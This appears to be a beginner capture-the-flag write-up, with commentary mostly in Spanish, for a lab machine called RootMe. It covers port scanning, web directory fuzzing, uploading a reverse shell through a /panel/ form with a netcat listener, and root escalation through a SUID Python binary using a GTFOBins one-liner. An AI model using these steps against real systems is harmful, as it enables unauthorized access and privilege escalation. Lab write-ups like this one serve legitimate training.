A ctf for beginners, can you root me?

Deploy the machine

Bueno esto no tiene mucho misterio, es darle al botón de despliegue y esperar a que arranque.


First, let’s get information about the target.

Scan the machine, how many ports are open? What service is running on port 22?

root@kali:~# nmap -sS --min-rate 500 -p- --open -n -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-20 17:10 UTC
Nmap scan report for
Host is up (0.0011s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:56:12:EA:16:0D (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 2.97 seconds

What version of Apache is running?

root@kali:~# whatweb [200 OK] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[], Script, Title[HackIT - Home]

Find directories on the web server using the GoBuster tool.

Yo uso wfuzz. Lo siento, me resulta más comoda esta herramienta.

root@kali:~# wfuzz -c -t 300 --hc=404 -w /usr/share/wordlists/wfuzz/general/big.txt

* Wfuzz 2.4.5 - The Web Fuzzer                         *

Total requests: 3024

ID           Response   Lines    Word     Chars       Payload                             

000000740:   301        9 L      28 W     310 Ch      "css"                               
000001474:   301        9 L      28 W     309 Ch      "js"                               
000001988:   301        9 L      28 W     312 Ch      "panel"                             

Total time: 28.25782
Processed Requests: 3024
Filtered Requests: 3021
Requests/sec.: 107.0146

What is the hidden directory?

Tras revisar los resultados del comando anterior es fácil concluir que la respuesta es /panel/.

Getting a shell

Find a form to upload and get a reverse shell, and find the flag.

He optado por la shell inversa de Pentestmonkey. Hay que editar el fichero y cambiar la IP a la de nuestro equipo atacante y, si se desea, cambiar el puerto.


Al mismo tiempo preparo una sesión de netcat en el equipo atacante para recibir la conexión de la shell inversa.

root@kali:~# rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 39068
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 17:23:36 up 15 min,  0 users,  load average: 0.00, 0.06, 0.14
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off


$ ls
$ cat user.txt

Privilege escalation

Now that we have a shell, let’s escalate our privileges to root.

Search for files with SUID permission, which file is weird?

Hago una búsqueda ejecutables con SUID y entre los resultados destaca el ejecutable de Python.

$ find / -perm -u=s -type f 2>/dev/null

Find a form to escalate your privileges.

Busco la forma de explotar el binario de Python en la web GTFOBins y ejecuto lo siguiente.

$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'


cd /root
cat root.txt